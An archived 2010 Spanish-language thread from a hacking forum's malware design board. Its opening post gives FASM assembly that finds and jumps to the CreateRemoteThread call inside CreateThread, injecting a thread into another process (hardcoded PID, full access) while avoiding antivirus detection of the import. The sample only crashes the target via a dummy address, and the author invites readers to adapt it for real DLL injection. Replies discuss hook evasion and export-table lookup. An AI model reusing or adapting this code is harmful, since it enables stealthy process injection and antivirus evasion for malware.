Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: bizco en 15 Mayo 2010, 07:20 am



Título: inyeccion dll "sin" CreateRemoteThread.
Publicado por: bizco en 15 Mayo 2010, 07:20 am
El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.

Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.

El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.

Código:
format PE GUI 4.0

entry Main

include 'win32a.inc'

section '.data' data readable writeable

cPtr    dd 0

section '.idata' import data readable writeable

library kernel32,'KERNEL32.DLL',\
        user32,'USER32.DLL'

include 'api\kernel32.inc'
include 'api\user32.inc'

section '.text' code  readable writeable executable

Main:
     push 0
     push 0
     push 0
     push InjectaDll
     push 0
     push 0
     call [CreateThread]
     push 6h            ;Esto es solo para la prueba.
     call [Sleep]
     push 0
     call [ExitProcess]


proc InjectaDll
     push edi
     mov eax,0E8h
     mov edi,dword [CreateThread]
S:
     repne scasb
     jnz S
     dec edi
     mov [cPtr],edi
     pop edi
     push 3532      ;Process Id
     push 1
     push PROCESS_ALL_ACCESS
     call [OpenProcess]
     or eax,eax
     jz Fin
     push 0
     push 0
     push 0
     push 41414141h
     push 0
     push 0
     push eax
     jmp [cPtr]  ;CreateRemoteThread
Fin:
     ; En caso de error
endp



Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: Karcrack en 15 Mayo 2010, 11:14 am
Muy ingenioso :D ;)


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: [Zero] en 15 Mayo 2010, 15:17 pm
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: [L]ord [R]NA en 15 Mayo 2010, 16:53 pm
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

:xD esto no se parece en nada al metodo que vas a utilizar.


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: Karcrack en 15 Mayo 2010, 18:10 pm
:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: [Zero] en 15 Mayo 2010, 18:14 pm
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado  :P.

Saludos

:xD esto no se parece en nada al metodo que vas a utilizar.

Lo cambié  :P. Aunque el otro día se me ocurrió como saltarmelo como si nada, pero ya idee otro plan que aún no puse en práctica...

Bueno, basicamente utilizo la int 2Eh para hacer algunas cosas y luego que me permitan hacer otras, y luego un chisme hacindo cosas, ni digo más hasta que lo publique  :xD.

Saludos


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: [L]ord [R]NA en 15 Mayo 2010, 18:27 pm
:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD

xD hace semanas que postee mi renuncia... antes del ban


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: ker0sene en 17 Mayo 2010, 01:48 am
También se puede buscar la dirección relativa de CreateRemoteThread en la tabla de exportaciones de kernel32.dll


Título: Re: inyeccion dll "sin" CreateRemoteThread.
Publicado por: bizco en 17 Mayo 2010, 01:50 am
si, pero la finalidad es no hacer referencia alguna en el codigo a esta funcion y hacerlo facil. se puede crear un thread en otro proceso sin pasar por esta funcion en ningun momento.